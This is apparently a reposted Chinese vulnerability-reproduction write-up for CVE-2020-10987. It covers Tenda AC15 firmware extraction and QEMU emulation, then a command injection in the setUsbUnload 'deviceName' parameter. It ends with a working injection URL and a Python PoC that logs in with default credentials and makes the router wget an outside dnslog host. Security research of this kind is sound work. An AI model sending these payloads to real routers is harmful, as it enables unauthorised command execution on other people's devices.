1. 极安网首页
  2. 网络安全技术

Tenda漏洞环境搭建与复现(CVE-2020-10987)

一.环境搭建

1.工具安装

这个漏洞的环境搭建很坑,坑在了qemu跟宿主机的通信上,这里主要采用qemu用户模式部署的,也尝试了qemu system部署,这两种的部署方法我都会给出对应的做法,大家可以参考着看,由于本地部署的环境没有正常的命令执行,因此最后还是在远端环境进行测试的。

解固件工具binwalk

git clone https://github.com/devttys0/binwalk
cd binwalk
sudo python setup.py install

sasquatch SquashFS 安装

sudo apt-get install zlib1g-dev liblzma-dev liblzo2-dev
sudo git clone https://github.com/devttys0/sasquatch
cd sasquatch && sudo make && sudo make install

qemu编译安装

wget https://download.qemu.org/qemu-2.4.0.tar.xz
tar xvf qemu-2.4.0.tar.xz && cd qemu-2.4.0
./configure --target-list=arm-softmmu,mips-softmmu,mipsel-softmmu --audio-drv-list=alsa
make -j8
sudo make install

注意这里是安装qemu2.4版本,如果不想指定版本,可以直接apt-get安装,这里的alsa需要去github或者官网去下载,再编译安装,才能继续安装qemu。

qemu apt-get安装

sudo apt-get install qemu
sudo apt-get install qemu-user-static
sudo apt-get install qemu-system

gdb-multiarch安装

sudo apt-get install gdb-multiarch

2.提取固件,并启动存在漏洞服务httpd(qemu-system模式)

首先提取固件

binwalk -Me AC15.bin

要启动这个服务,我们要先让他运行在qemu虚拟机里,这里先介绍如何在qemu system模式下运行

首先下载qemu system需要的阉割debian系统

wget https://people.debian.org/~aurel32/qemu/armhf/debian_wheezy_armhf_standard.qcow2
wget https://people.debian.org/~aurel32/qemu/armhf/initrd.img-3.2.0-4-vexpress
wget https://people.debian.org/~aurel32/qemu/armhf/vmlinuz-3.2.0-4-vexpress

然后我们要让qemu和宿主机通信,这里采用桥接的模式,在此之前先安装tunctl

sudo apt-get install uml-utilities

配置虚拟网卡

sudo tunctl -t br0 -u root          //br0是网卡名字 root是你已有账户名
sudo ifconfig br0 10.10.10.1/24     //给br0配置IP地址,这里配什么地址都可以
qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress \

-drive if=sd,file=debian_wheezy_armhf_standard.qcow2 \

-append "root=/dev/mmcblk0p2 console=ttyAMA0" \

-net nic -net tap,ifname=br0,sc ript=no,downscript=no -nographic

这里为了方便阅读qemu启动参数的阅读,将其拆分开

建议将上述命令放进启动脚本,直接从脚本启动

-M              //选择虚拟机

-drive          //定义存储驱动器

file=           //定义镜像文件

-net nic        //创建客户机网卡

-net tap        //创建tap设备,以桥接方式跟宿主机通信

ifname=br0      //tap设备与br0虚拟网卡进行桥接通信

-nographic      //以非图形化模式启动

-append         //内核启动附加参数

console=ttyAMA0 //console指向串口

更多参数详解可以-h 查看qemu的参数

下面我们启动qemu system模式,给系统模式启动下的虚拟机配置网卡IP地址

ifconfig eth0 10.10.10.2/24

现在宿主机和客户机可以通信了,然后将宿主机的固件打包上传到客户机,通过python临时起一个http服务,再从宿主机wget下来,具体操作如下:

在宿主机上执行

sudo tar -cjpf squashfs-root.tar.bz2 squashfs-root       //打包固件系统
python -m SimpleHTTPServer

在客户机上执行

wget http://10.10.10.1:8000/squashfs-root        //squashfs-root为固件文件系统
tar -jxvf squashfs-root.tar.bz2 squashfs-root    //解压文件系统

下一步我们使用chroot切换文件夹

chroot squashfs-root sh

切换完成之后,直接启动httpd服务,效果如下

Tenda漏洞环境搭建与复现(CVE-2020-10987)-极安网

这里是第一个坑点,因为咱们是虚拟的网络环境,没有过他固件check_network函数的检查,所以会卡在这动不了,服务无法正常启动,而且会显示一些文件没有建立的提示,我这里是已经把他都修复好了,所以没有弹什么错误。

ida打开直接搜字符串定位到函数sub_2E420

Tenda漏洞环境搭建与复现(CVE-2020-10987)-极安网

我这里已经是patch好了,原来是个判断语句,因为网络环境问题判断一直过不去,所以会直接sleep,因此我们需要patch

使用keypach插件或者ida原生的patch,都可以将这里改掉,改完之后服务可以启动了

启动完成之后我们发现监听了个明显不正常的地址,说明没有正常获取网卡的IP地址

通过红色箭头指向的两个字符串,我跟踪了关键函数,最后定位到了这里

Tenda漏洞环境搭建与复现(CVE-2020-10987)-极安网

根据函数名字猜测他是获取的网卡的名字,在将网卡对应的IP地址获取过来,但在分析的过程中,并未发现他究竟是获取的哪个网卡,查阅一番资料后发现这篇文章https://xz.aliyun.com/t/7357?spm=5176.12901015.0.i12901015.65db525cQBSuI3&accounttraceid=1d7f8f3f083842dba12fa62662c34665asfk

这位师傅有指出他是从名为br0的网卡获取地址,但从IDA中也没有体现出来是从br0获取的。

因为我们现在是在system模式下搭建的环境,无法通过启动参数改变网卡的名称,也无法在阉割版的debian系统里改网卡名称,所以从系统模式搭建环境的方法失败了。

3.启动存在漏洞服务httpd(qemu-user模式)

用户模式是在宿主机进行的,我们可以建立br0网卡,让httpd直接获取

sudo tunctl -t br0 -u root          
sudo ifconfig br0 10.10.10.1/24     

建立网卡之后,将qemu-arm-static复制到文件系统的目录下,再启动httpd服务

cp /usr/bin/qemu-arm-static qemu-arm-static
sudo chroot ./ ./qemu-arm-static ./bin/httpd
sudo qemu-arm-static -L ./ bin/httpd       //这两种方式经过我测试都可以

./   //当前目录
-L   //libc的目录

我们的httpd服务能正常启动,也能正常的获取10.10.10.1的地址,监听的80端口

4.gdb调试

如果想调试的话,通过qemu-user将httpd放在127.0.0.1:1234端口即可

sudo chroot ./ ./qemu-arm-static -g 1234 ./bin/httpd

然后进入gdb,设置要调试程序的架构、连接的端口

file httpd

set architecture arm

target remote 127.0.0.1:1234

我们的环境搭建好了

二.漏洞分析

Tenda漏洞环境搭建与复现(CVE-2020-10987)-极安网

在formestUsbUnload函数里,可以直接在deviceName后打入命令,传到doSystemCmd去执行

检查交叉引用和文件系统发现对应的路径为goform/setUsbUnload

这样我们就可以构造payload了(这个路径需要有user和password才能访问,可以使用router scan进行密码提取)

http://x.x.x.x/goform/setUsbUnload/?deviceName=;%20wget%20http://dnslog地址即可验证该漏洞,当然你也可以粗暴一点直接reboot。

三.漏洞利用

我的POC:

from pwn import *
import requests
context.log_level = 'debug'
context.arch = "arm"
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF("/home/AC15/_AC15.bin.extracted/squashfs-root/bin/./httpd")
cmd ="wget%20http://ciarpf.dnslog.cn"
url ="http://x.x.x.x/login/Auth"
payload = "http://x.x.x.x/goform/setUsbUnload/?deviceName=;%20"+cmd
header = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0",
    "Accept-Encoding": "gzip, deflate",
    "Accept-Language": "zh,en;q=0.9,zh-CN;q=0.8",
    "Cache-Control": "max-age=0",
    "Host": "x.x.x.x",
    "Proxy-Connection": "keep-alive",
    "Upgrade-Insecure-Requests": "1",
}
data = {
    "username": "admin",
    "password": "admin",
}
s = requests.session()
login = s.post(url = url, headers = header, data=data)
r = s.post(url = payload, headers = header, data=data)
if r.status_code == 200:
    print(r.text)
else:
    print("404 not found")

参考链接:

[1] http://blog.leanote.com/post/7wlnk13/%E5%88%9B%E5%BB%BAKVM%E8%99%9A%E6%8B%9F%E6%9C%BA

[2] https://blog.securityevaluators.com/tenda-ac1900-vulnerabilities-discovered-and-exploited-e8e26aa0bc68

[3] https://bbs.pediy.com/thread-263539.htm

[4] https://wzt.ac.cn/2019/09/10/QEMU-networking/

[5] https://wzt.ac.cn/2019/03/19/CVE-2018-5767/

[6] https://xz.aliyun.com/t/7357?page=34

白帽汇从事信息安全,专注于安全大数据、企业威胁情报。

公司产品:FOFA-网络空间安全搜索引擎、FOEYE-网络空间检索系统、NOSEC-安全讯息平台。

为您提供:网络空间测绘、企业资产收集、企业威胁情报、应急响应服务。

本文转载:lxonz@白帽汇安全研究院,不代表 极安网 立场,转载请注明出处:https://www.secvery.com/4958.html